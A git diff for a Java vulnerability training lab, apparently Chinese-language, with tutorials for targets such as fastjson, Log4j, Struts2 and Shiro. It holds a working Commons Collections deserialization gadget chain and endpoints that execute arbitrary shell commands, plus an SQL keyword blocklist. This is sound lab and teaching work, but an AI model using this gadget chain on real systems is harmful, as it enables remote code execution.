!PATH_TRAVERSAL_PATTERN.matcher(path).matches(); + } + + /** + * 验证路径是否在指定的父目录中 + * + * @param path 要验证的路径 + * @param parentDir 父目录 + * @return 如果路径在父目录中返回 true,否则返回 false + * @throws IOException 如果路径无法解析为绝对路径 + */ + public static boolean isValidDirectoryPath(String path, String parentDir) throws IOException { + Path basePath = Paths.get(parentDir).toRealPath().normalize(); + Path targetPath = basePath.resolve(path).normalize(); + + return targetPath.startsWith(basePath); + } + +} diff --git a/base_vul_repair/src/main/java/com/myapp/util/SqlInjectionFilter.java b/base_vul_repair/src/main/java/com/myapp/util/SqlInjectionFilter.java new file mode 100644 index 0000000..a042754 --- /dev/null +++ b/base_vul_repair/src/main/java/com/myapp/util/SqlInjectionFilter.java @@ -0,0 +1,19 @@ +package com.myapp.util; + +public class SqlInjectionFilter { + + private static final String[] SQL_INJECTION_KEYWORDS = { + "SELECT", "INSERT", "UPDATE", "DELETE", "DROP", "ALTER", "--", ";", "/*", "*/", "@@", "CHAR", "NCHAR", "VARCHAR", "NVARCHAR", "ALTER", "BEGIN", "CAST", "CREATE", "CURSOR", "DECLARE", "END", "EXEC", "FETCH", "KILL", "OPEN", "SYS", "SYSOBJECTS", "SYSUSERS", "TABLE", "INFORMATION_SCHEMA", "UNION" + }; + + public static void validate(String input) throws IllegalArgumentException { + if (input != null) { + String upperInput = input.toUpperCase(); + for (String keyword : SQL_INJECTION_KEYWORDS) { + if (upperInput.contains(keyword)) { + throw new IllegalArgumentException("Invalid input detected"); + } + } + } + } +} diff --git a/base_vul_repair/src/main/resources/application.properties b/base_vul_repair/src/main/resources/application.properties index 0c95bcc..dfda2f6 100644 --- a/base_vul_repair/src/main/resources/application.properties +++ b/base_vul_repair/src/main/resources/application.properties @@ -1,11 +1,10 @@ -spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver -spring.datasource.url=jdbc:mysql://mysql:3306/sec?characterEncoding=utf8&useSSL=true -spring.datasource.username=sec -spring.datasource.password=123456 +spring.datasource.driver-class-name=org.sqlite.JDBC +spring.datasource.url=jdbc:sqlite:/tmp/base_vul_repair.db +spring.sql.init.mode=always mybatis.type-aliases-package=com.myapp.model mybatis.mapper-locations=classpath:mapper/*.xml spring.thymeleaf.cache=false spring.thymeleaf.prefix=classpath:/templates/ -spring.thymeleaf.suffix=.html \ No newline at end of file +spring.thymeleaf.suffix=.html diff --git a/base_vul_repair/src/main/resources/data.sql b/base_vul_repair/src/main/resources/data.sql new file mode 100644 index 0000000..1315c90 --- /dev/null +++ b/base_vul_repair/src/main/resources/data.sql @@ -0,0 +1,4 @@ +INSERT INTO users (id, name) VALUES (1, 'test'); +INSERT INTO users (id, name) VALUES (2, 'admin'); +INSERT INTO users (id, name) VALUES (3, '123'); +INSERT INTO users (id, name) VALUES (4, ''); diff --git a/base_vul_repair/src/main/resources/mapper/UserMapper.xml b/base_vul_repair/src/main/resources/mapper/UserMapper.xml index 05b26b1..8868117 100644 --- a/base_vul_repair/src/main/resources/mapper/UserMapper.xml +++ b/base_vul_repair/src/main/resources/mapper/UserMapper.xml @@ -5,22 +5,43 @@ + + + + + SELECT * FROM users where name = #{name} - \ No newline at end of file + diff --git a/base_vul_repair/src/main/resources/schema.sql b/base_vul_repair/src/main/resources/schema.sql new file mode 100644 index 0000000..a6080d2 --- /dev/null +++ b/base_vul_repair/src/main/resources/schema.sql @@ -0,0 +1,6 @@ +DROP TABLE IF EXISTS users; + +CREATE TABLE users ( + id INTEGER PRIMARY KEY, + name TEXT +); diff --git a/cas_xxe/Dockerfile b/cas_xxe/Dockerfile index 071c13e..c29cf17 100644 --- a/cas_xxe/Dockerfile +++ b/cas_xxe/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/cas_xxe/target/cas_xxe-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/cas_xxe/Dockerfile_local b/cas_xxe/Dockerfile_local index 17dbf96..519af14 100644 --- a/cas_xxe/Dockerfile_local +++ b/cas_xxe/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/cas_xxe-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/cas_xxe/docker-compose.yaml b/cas_xxe/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/cas_xxe/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/cas_xxe/src/main/java/com/myapp/controller/PlaygroundController.java b/cas_xxe/src/main/java/com/myapp/controller/PlaygroundController.java new file mode 100644 index 0000000..8ff5932 --- /dev/null +++ b/cas_xxe/src/main/java/com/myapp/controller/PlaygroundController.java @@ -0,0 +1,37 @@ +package com.myapp.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attack = " ]> John&ent;"; + String normal = " John&ent;"; + return page("cas_xxe Playground", "/xxe_cas", attack, normal, true); + } + + private String page(String title, String path, String attack, String normal, boolean post) { + return "" + title + "" + style() + + "

" + title + "

可先填充攻击/正常 XML,再手动修改并发送到 " + path + "

" + + "
" + + "
" + + "
等待发送请求...
"; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/collections/Dockerfile b/collections/Dockerfile index 278e954..38f86ac 100644 --- a/collections/Dockerfile +++ b/collections/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/app/target/collections-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/collections/Dockerfile_local b/collections/Dockerfile_local index 2406dbd..fa5744a 100644 --- a/collections/Dockerfile_local +++ b/collections/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/collections-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/collections/collections.iml b/collections/collections.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/collections/collections.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/collections/docker-compose.yaml b/collections/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/collections/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/collections/pom.xml b/collections/pom.xml index 85c05c5..886e4fd 100644 --- a/collections/pom.xml +++ b/collections/pom.xml @@ -35,9 +35,9 @@
- org.apache.commons - commons-collections4 - 4.0 + commons-collections + commons-collections + 3.2.1 @@ -70,4 +70,4 @@ - \ No newline at end of file + diff --git a/collections/src/main/java/myapp/PlaygroundController.java b/collections/src/main/java/myapp/PlaygroundController.java new file mode 100644 index 0000000..e4b39d2 --- /dev/null +++ b/collections/src/main/java/myapp/PlaygroundController.java @@ -0,0 +1,28 @@ +package myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "collections Playground" + style() + + "

Commons Collections Playground

这个页面支持两种模式:直接调用 /transformer 由服务端本地构造 gadget,或者先请求 /payload 生成序列化字节流,再 POST 到 /deserialize。推荐先用 touch /tmp/collections-success,再看 /status

" + + "" + + "
" + + "
等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/collections/src/main/java/myapp/TransformerController.java b/collections/src/main/java/myapp/TransformerController.java index 6e43e68..7ff1e15 100644 --- a/collections/src/main/java/myapp/TransformerController.java +++ b/collections/src/main/java/myapp/TransformerController.java @@ -1,20 +1,26 @@ package myapp; -import org.springframework.web.bind.annotation.RestController; - -import org.apache.commons.collections4.Transformer; -import org.apache.commons.collections4.functors.ChainedTransformer; -import org.apache.commons.collections4.functors.ConstantTransformer; -import org.apache.commons.collections4.functors.InvokerTransformer; -import org.apache.commons.collections4.map.TransformedMap; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.bind.annotation.RequestBody; -import java.io.*; -import java.lang.annotation.Retention; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationTargetException; +import javax.management.BadAttributeValueExpException; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; @@ -22,37 +28,116 @@ public class TransformerController { @GetMapping("/transformer") - public String execute(@RequestParam String command) { + public String execute(@RequestParam String command) { try { - Transformer[] transformers = new Transformer[]{ - new ConstantTransformer(Runtime.class), - new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, - new Object[]{"getRuntime", new Class[0]}), - new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, - new Object[]{null, new Object[0]}), - new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}) - }; - - Transformer transformerChain = new ChainedTransformer(transformers); - - Map innermap = new HashMap(); - innermap.put("value", "value"); - Map outmap = TransformedMap.transformingMap(innermap, null, transformerChain); - Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); - Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); - ctor.setAccessible(true); - Object instance = ctor.newInstance(Retention.class, outmap); - File f = new File("obj"); - ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(f)); - outStream.writeObject(instance); - outStream.flush(); - outStream.close(); - ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj")); - in.readObject(); - in.close(); - return "命令执行完成"; + byte[] serialized = buildSerializedPayload(command); + deserialize(serialized); + return formatExecutionResult("Commons Collections 反序列化链已触发", serialized.length); } catch (Exception e) { return "Error executing command: " + e.getMessage(); } } -} \ No newline at end of file + + @GetMapping("/payload") + public byte[] payload(@RequestParam String command) throws Exception { + return buildSerializedPayload(command); + } + + @PostMapping(value = "/deserialize", consumes = "application/x-java-serialized-object") + public String deserializePayload(@RequestBody byte[] serialized) { + try { + deserialize(serialized); + return formatExecutionResult("外部上传的序列化字节流已触发反序列化", serialized.length); + } catch (Exception e) { + return "Error executing serialized payload: " + e.getMessage(); + } + } + + @GetMapping("/status") + public String status() throws IOException { + return "marker_exists=" + markerFile().exists() + + ", output_exists=" + outputFile().exists() + + ", output_preview=" + readPreview(outputFile()); + } + + private Object buildCommonsCollectionsPayload(String command) throws Exception { + Transformer[] inert = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, + new Object[]{"getRuntime", new Class[0]}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, + new Object[]{null, new Object[0]}), + new InvokerTransformer("exec", new Class[]{String[].class}, + new Object[]{buildCommandArray(command)}), + new ConstantTransformer(1), + }; + + ChainedTransformer transformerChain = new ChainedTransformer(inert); + Map innerMap = new HashMap(); + Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + BadAttributeValueExpException payload = new BadAttributeValueExpException(null); + Field valField = BadAttributeValueExpException.class.getDeclaredField("val"); + valField.setAccessible(true); + valField.set(payload, entry); + + Field transformerField = ChainedTransformer.class.getDeclaredField("iTransformers"); + transformerField.setAccessible(true); + transformerField.set(transformerChain, transformers); + lazyMap.clear(); + return payload; + } + + private byte[] buildSerializedPayload(String command) throws Exception { + return serialize(buildCommonsCollectionsPayload(command)); + } + + private byte[] serialize(Object value) throws IOException { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); + objectOutputStream.writeObject(value); + objectOutputStream.flush(); + objectOutputStream.close(); + return outputStream.toByteArray(); + } + + private void deserialize(byte[] serialized) throws IOException, ClassNotFoundException { + ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(serialized)); + inputStream.readObject(); + inputStream.close(); + } + + private String[] buildCommandArray(String command) { + String osName = System.getProperty("os.name", "").toLowerCase(); + if (osName.contains("win")) { + return new String[]{"cmd.exe", "/c", command}; + } + return new String[]{"/bin/sh", "-c", command}; + } + + private File markerFile() { + return new File("/tmp/collections-success"); + } + + private File outputFile() { + return new File("/tmp/collections-output"); + } + + private String readPreview(File file) throws IOException { + if (!file.exists()) { + return ""; + } + byte[] content = java.nio.file.Files.readAllBytes(file.toPath()); + String text = new String(content, java.nio.charset.StandardCharsets.UTF_8); + return text.length() > 200 ? text.substring(0, 200) : text; + } + + private String formatExecutionResult(String prefix, int serializedLength) { + return prefix + + "。serialized_bytes=" + serializedLength + + ", marker_exists=" + markerFile().exists() + + ", output_exists=" + outputFile().exists(); + } +} diff --git a/doc/README.md b/doc/README.md new file mode 100644 index 0000000..eee690b --- /dev/null +++ b/doc/README.md @@ -0,0 +1,74 @@ +# 项目文档索引 + +所有项目的独立操作教程都放在 `doc/projects/` 下面。现在每份文档都补充了更具体的测试步骤,默认会告诉你: + +1. 先执行什么启动命令。 +2. 直接访问哪个 URL 或复制哪条 `curl`。 +3. 如果有额外管理页、题库页或调试入口,会放在哪。 +4. 测试完成后应该重点观察什么现象。 + +当前仓库里的单体靶场已经统一改为项目内自初始化数据库,不再需要额外启动 MySQL。 + +## 使用建议 + +1. 单体靶场先运行 `bash run-local-build.sh`。 +2. 优先按每个项目文档里给出的端口和入口直接访问。 +3. 需要做接口对照时,同时打开对应项目文档和浏览器开发者工具或代理工具。 + +## 文档列表 + +### 控制台与辅助项目 + +- [index](./projects/index.md) +- [JS-hook](./projects/js-hook.md) +- [SimpleAgent](./projects/simpleagent.md) +- [项目操作教程](./project-tutorials.md) +- [支持测试接口清单](./testing-pocs.md) + +### 单体靶场 + +- [fastjson-1.2.24](./projects/fastjson-1-2-24.md) +- [fastjson-1.2.25-1.2.41](./projects/fastjson-1-2-25-1-2-41.md) +- [fastjson-1.2.42](./projects/fastjson-1-2-42.md) +- [fastjson-1.2.43](./projects/fastjson-1-2-43.md) +- [fastjson-1.2.45](./projects/fastjson-1-2-45.md) +- [fastjson-1.2.59](./projects/fastjson-1-2-59.md) +- [fastjson-1.2.60](./projects/fastjson-1-2-60.md) +- [fastjson-1.2.61](./projects/fastjson-1-2-61.md) +- [fastjson-1.2.62](./projects/fastjson-1-2-62.md) +- [fastjson-1.2.66](./projects/fastjson-1-2-66.md) +- [fastjson-1.2.67](./projects/fastjson-1-2-67.md) +- [fastjson-1.2.68](./projects/fastjson-1-2-68.md) +- [fastjson-1.2.80](./projects/fastjson-1-2-80.md) +- [fastjson-1.2.83](./projects/fastjson-1-2-83.md) +- [log4jvul](./projects/log4jvul.md) +- [druid_unauthorized](./projects/druid-unauthorized.md) +- [druid_authorized](./projects/druid-authorized.md) +- [actuator_unauthorized_2.X](./projects/actuator-unauthorized-2-x.md) +- [actuator_authorized_2.X](./projects/actuator-authorized-2-x.md) +- [actuator_unauthorized_1.X](./projects/actuator-unauthorized-1-x.md) +- [actuator_authorized_1.X](./projects/actuator-authorized-1-x.md) +- [base_vul](./projects/base-vul.md) +- [base_vul_repair](./projects/base-vul-repair.md) +- [HSQLDB](./projects/hsqldb.md) +- [Hibernate](./projects/hibernate.md) +- [wxpay-xxe](./projects/wxpay-xxe.md) +- [CVE-2019-10173](./projects/cve-2019-10173.md) +- [CVE-2019-12384](./projects/cve-2019-12384.md) +- [cas_xxe](./projects/cas-xxe.md) +- [shior-1.2.4](./projects/shior-1-2-4.md) +- [shiro-1.25_1.42](./projects/shiro-1-25-1-42.md) +- [shiro-1.8.0](./projects/shiro-1-8-0.md) +- [shiro-cve-2020-17523](./projects/shiro-cve-2020-17523.md) +- [struts2-s2-015](./projects/struts2-s2-015.md) +- [struts2-s2-013](./projects/struts2-s2-013.md) +- [struts2-s2-012](./projects/struts2-s2-012.md) +- [struts2-s2-009](./projects/struts2-s2-009.md) +- [struts2-s2-007](./projects/struts2-s2-007.md) +- [struts2-s2-005](./projects/struts2-s2-005.md) +- [struts2-s2-003](./projects/struts2-s2-003.md) +- [struts2-s2-001](./projects/struts2-s2-001.md) +- [collections](./projects/collections.md) +- [ghost-bits](./projects/ghost-bits.md) +- [logic_vul](./projects/logic-vul.md) +- [sensitive_path](./projects/sensitive-path.md) diff --git a/doc/project-tutorials.md b/doc/project-tutorials.md new file mode 100644 index 0000000..3b51e1e --- /dev/null +++ b/doc/project-tutorials.md @@ -0,0 +1,76 @@ +# JavaVul 项目操作教程 + +这份文档给每个项目提供一条最短可执行的操作路径,默认以仓库根目录下的 `docker-compose-local.yaml` 为准。 + +## 通用步骤 + +1. 在仓库根目录执行 `bash run-local-build.sh` 启动单体靶场。 +2. 直接访问目标项目对应的端口和入口。 +3. 如果只想测试某一个项目,不需要额外启动总控制台。 + +## 控制台与辅助项目 + +| 项目 | 目录 | 入口 / 命令 | 快速操作 | +| :-- | :-- | :-- | :-- | +| Java Agent 示例 | `SimpleAgent` | 参考 [`./projects/simpleagent.md`](./projects/simpleagent.md) | 构建完成后把 JAR 放到 `agent/agent.jar`,再重启对应靶场。 | +| JS Hook 综合靶场 | `JS-hook` | `http://宿主机IP:48159/js-labs.html` | 先看题库页,再按分组进入逆向题、协议题和 Hook 实战题;管理入口是 `/admin.html`。 | + +补充说明: + +- 支持直接重放的接口清单见 [`./testing-pocs.md`](./testing-pocs.md) + +## 单体靶场项目 + +| 项目 | 目录 | 端口 | 推荐入口 | 快速操作教程 | +| :-- | :-- | :-- | :-- | :-- | +| Fastjson 1.2.24 | `fastjson-1.2.24` | `9999` | `/fastjson-1.2.24` | 打开页面后提交表单,或直接 POST 到 `/fastjson1.2.24-process`。 | +| Fastjson 1.2.25-1.2.41 | `fastjson-1.2.25-1.2.41` | `9987` | `/fastjson-1.2.25` | 用首页里的 `fastjson1_2_25_attack`、`fastjson1_2_41_attack` 分别验证不同链路。 | +| Fastjson 1.2.42 | `fastjson-1.2.42` | `9986` | `/fastjson-1.2.42` | 直接重放 `fastjson1_2_42_attack`。 | +| Fastjson 1.2.43 | `fastjson-1.2.43` | `9985` | `/fastjson-1.2.43` | 直接重放 `fastjson1_2_43_attack`。 | +| Fastjson 1.2.45 | `fastjson-1.2.45` | `9984` | `/fastjson-1.2.45` | 直接重放 `fastjson1_2_45_attack`。 | +| Fastjson 1.2.59 | `fastjson-1.2.59` | `9983` | `/fastjson-1.2.59` | 用 `fastjson1_2_59_attack_1` 和 `fastjson1_2_59_attack_2` 对比两个 payload。 | +| Fastjson 1.2.60 | `fastjson-1.2.60` | `9982` | `/fastjson-1.2.60` | 用 `fastjson1_2_60_attack_1` 和 `fastjson1_2_60_attack_2` 做对比验证。 | +| Fastjson 1.2.61 | `fastjson-1.2.61` | `9981` | `/fastjson-1.2.61` | 依次重放 `fastjson1_2_61_attack_1`、`fastjson1_2_61_attack_2`。 | +| Fastjson 1.2.62 | `fastjson-1.2.62` | `9980` | `/fastjson-1.2.62` | 使用两条攻击模板观察不同 gadget 路径。 | +| Fastjson 1.2.66 | `fastjson-1.2.66` | `9979` | `/fastjson-1.2.66` | 首页已经提供 6 条攻击模板,可批量回放。 | +| Fastjson 1.2.67 | `fastjson-1.2.67` | `9978` | `/fastjson-1.2.67` | 重放 `_attack_1` 和 `_attack_2` 对比不同 Shiro / JNDI 链。 | +| Fastjson 1.2.68 | `fastjson-1.2.68` | `9977` | `/fastjson-1.2.68` | 用两个 Hikari payload 进行测试。 | +| Fastjson 1.2.80 | `fastjson-1.2.80` | `9976` | `/fastjson-1.2.80` | 先访问页面,再回放 `fastjson1_2_80_attack`。 | +| Fastjson 1.2.83 | `fastjson-1.2.83` | `9975` | `/fastjson-1.2.83` | 首页提供正常流量模板,适合先做基线验证。 | +| Log4j2 | `log4jvul` | `9998` | `/log4j2` | POST `name=${jndi:...}` 到 `/log4j2`,也可以直接使用首页模板。 | +| Druid 未授权 | `druid_unauthorized` | `9997` | `/druid` | 直接访问控制台入口,验证未授权访问。 | +| Druid 修复版 | `druid_authorized` | `9996` | `/druid` | 与未授权版本对照,验证修复效果。 | +| Actuator 未授权 2.X | `actuator_unauthorized_2.X` | `9995` | `/actuator` | 直接访问根 actuator 入口。 | +| Actuator 修复版 2.X | `actuator_authorized_2.X` | `9994` | `/actuator` | 验证修复前后响应差异。 | +| Actuator 未授权 1.X | `actuator_unauthorized_1.X` | `9993` | `/trace` | 直接访问 `/trace`。 | +| Actuator 修复版 1.X | `actuator_authorized_1.X` | `9992` | `/trace` | 与漏洞版做对照。 | +| 基础漏洞靶场 | `base_vul` | `9991` | `/swagger-ui.html` | 通过首页筛选 `base_vul` 相关条目,测试 SQLi、XSS、SSRF、SSTI、XXE 等接口。 | +| 基础漏洞修复版 | `base_vul_repair` | `9990` | `/swagger-ui.html` | 用首页里的 repair 模板逐条对照验证。 | +| HSQLDB | `HSQLDB` | `9989` | `/hsqldb?username=1'` | 分别访问 `/hsqldb` 和 `/hsqldb_repair`。 | +| Hibernate | `Hibernate` | `9988` | `/Hibernate_injection?username=...` | 使用 README 或首页里的注入 payload 验证漏洞与修复。 | +| 微信支付 XXE | `wxpay-xxe` | `9974` | `/wxpay-xxe` | 直接 POST 首页提供的 XML payload。 | +| XStream | `CVE-2019-10173` | `9973` | `/CVE-2019-10173` | POST 首页内置 XML payload。 | +| Jackson-databind | `CVE-2019-12384` | `9972` | `/CVE-2019-12384` | GET 触发内置 PoC。 | +| CAS XXE | `cas_xxe` | `9971` | `/xxe_cas` | 使用首页里的 `cas_xxe_attack` 或 `cas_xxe_normal` 做对照。 | +| Shiro 1.2.4 | `shior-1.2.4` | `9970` | `/shiro-1.2.4` | 先访问页面,再点击 key 检测,或 POST `/login` 做 RememberMe 登录验证。 | +| Shiro 1.2.5-1.4.1 | `shiro-1.25_1.42` | `9969` | `/shiro-1.25_1.42` | 先加载样本,再调用 `/oracle/probe`、`/oracle/sweep` 观察 Padding Oracle 差异。 | +| Shiro 1.8.0 | `shiro-1.8.0` | `9968` | `/shiro-1.8.0` | 先查看弱 key 状态,再 POST `/login` 验证 RememberMe 行为。 | +| Struts2 S2-015 | `struts2-s2-015` | `9958` | `/index.action` | 先测试通配符 Action 命名,再测试 `param.action?message=%{7*7}` 的二次引用执行。 | +| Struts2 S2-013 | `struts2-s2-013` | `9959` | `/link.action` | 带上恶意 GET 参数访问,再观察页面里 `includeParams="all"` 生成链接时是否触发 OGNL。 | +| Struts2 S2-012 | `struts2-s2-012` | `9960` | `/index.action` | 用页面按钮把 payload 放进 `name`,提交 `redirect` 后观察响应是否直接回显命令结果。 | +| Struts2 S2-009 | `struts2-s2-009` | `9961` | `/example5.action` | 让 `name` 进入上下文,再通过 `z[(name)('meh')]` 做二次求值。 | +| Struts2 S2-007 | `struts2-s2-007` | `9962` | `/user.action` | 往 `age` 填入恶意字符串并触发类型转换错误,观察错误流中的 OGNL 执行。 | +| Struts2 S2-005 | `struts2-s2-005` | `9963` | `/index.action` | 先点击页面里的 `touch`、`whoami`、`pwd` 按钮,再观察 `/tmp` 标记和输出文件状态。 | +| Struts2 S2-003 | `struts2-s2-003` | `9964` | `/index.action` | 点击页面内置 payload,观察 `session.user` 和 `session.isAdmin` 是否被恶意参数名污染。 | +| Struts2 S2-001 | `struts2-s2-001` | `9965` | `/login.action` | 用空密码触发回填,再观察用户名字段是否发生 OGNL 解析。 | +| Collections | `collections` | `9945` | `/playground` | 先触发 `touch /tmp/collections-success`,再访问 `/status` 查看执行状态。 | +| Ghost Bits | `ghost-bits` | `9943` | `/ghost-bits` | 先看 low-byte 视图,再依次测试上传绕过、路径穿越、`/etc/passwd` 文件读取、CRLF、Fastjson、SQLi 和 XSS。 | +| 业务逻辑漏洞靶场 | `logic_vul` | 未接入 compose | `/` | 单独运行后访问首页,验证伪造身份、越权和业务数据接口。 | +| Web 敏感路径靶场 | `sensitive_path` | `9944` | `/sensitive-path` | 首页按分类展示真实超链接;`/sensitive-path/links` 提供平铺链接页,适合测试爬虫、目录扫描和敏感路径识别。 | + +## 建议验证顺序 + +1. 先启动单体靶场,再挑一个目标项目做单点验证。 +2. `collections` 建议先走 `/playground -> touch 标记 -> 查看状态` 这一条链,确认反序列化链路已经打通。 +3. `ghost-bits` 建议按 `低字节视图 -> 上传扩展名 -> 路径变形 -> /etc/passwd 文件读取 -> Header CRLF -> Fastjson -> SQLi -> XSS` 的顺序观察“检查视图”和“执行视图”的差异。 +4. 需要自定义 payload 时,直接用文档里的 `curl` 或你自己的代理工具重放请求。 diff --git a/doc/projects/actuator-authorized-1-x.md b/doc/projects/actuator-authorized-1-x.md new file mode 100644 index 0000000..543f323 --- /dev/null +++ b/doc/projects/actuator-authorized-1-x.md @@ -0,0 +1,43 @@ +# actuator_authorized_1.X 操作教程 + +- 类型:单体靶场 +- 目录:`actuator_authorized_1.X` +- 端口:`无固定端口` +- 推荐入口:`/trace` + +## 这是什么 + +Actuator 1.X 修复版 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `无固定端口` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `actuator1、authorized、repair` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 + +推荐直接使用的首页条目: +- 当前项目暂无首页模板,建议直接按下文接口方式验证。 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:无固定端口/trace`。 +2. 按页面提示填写参数或提交表单。 +3. 如果这个模块没有统一模板,建议把你常用的测试请求整理成 curl 命令留档。 + +## 测试时重点看什么 + +1. 漏洞版重点看敏感端点是否可以未授权访问。 +2. 修复版重点看是否返回 401、403、登录页或更少的暴露信息。 +3. 最好把漏洞版和修复版窗口并排打开做对照。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/actuator-authorized-2-x.md b/doc/projects/actuator-authorized-2-x.md new file mode 100644 index 0000000..a118c4c --- /dev/null +++ b/doc/projects/actuator-authorized-2-x.md @@ -0,0 +1,43 @@ +# actuator_authorized_2.X 操作教程 + +- 类型:单体靶场 +- 目录:`actuator_authorized_2.X` +- 端口:`无固定端口` +- 推荐入口:`/actuator` + +## 这是什么 + +Actuator 2.X 修复版 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `无固定端口` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `actuator2、authorized、repair` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 + +推荐直接使用的首页条目: +- 当前项目暂无首页模板,建议直接按下文接口方式验证。 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:无固定端口/actuator`。 +2. 按页面提示填写参数或提交表单。 +3. 如果这个模块没有统一模板,建议把你常用的测试请求整理成 curl 命令留档。 + +## 测试时重点看什么 + +1. 漏洞版重点看敏感端点是否可以未授权访问。 +2. 修复版重点看是否返回 401、403、登录页或更少的暴露信息。 +3. 最好把漏洞版和修复版窗口并排打开做对照。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/actuator-unauthorized-1-x.md b/doc/projects/actuator-unauthorized-1-x.md new file mode 100644 index 0000000..64bbe11 --- /dev/null +++ b/doc/projects/actuator-unauthorized-1-x.md @@ -0,0 +1,43 @@ +# actuator_unauthorized_1.X 操作教程 + +- 类型:单体靶场 +- 目录:`actuator_unauthorized_1.X` +- 端口:`无固定端口` +- 推荐入口:`/trace` + +## 这是什么 + +Actuator 1.X 未授权靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `无固定端口` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `actuator1、unauthorized` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 + +推荐直接使用的首页条目: +- 当前项目暂无首页模板,建议直接按下文接口方式验证。 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:无固定端口/trace`。 +2. 按页面提示填写参数或提交表单。 +3. 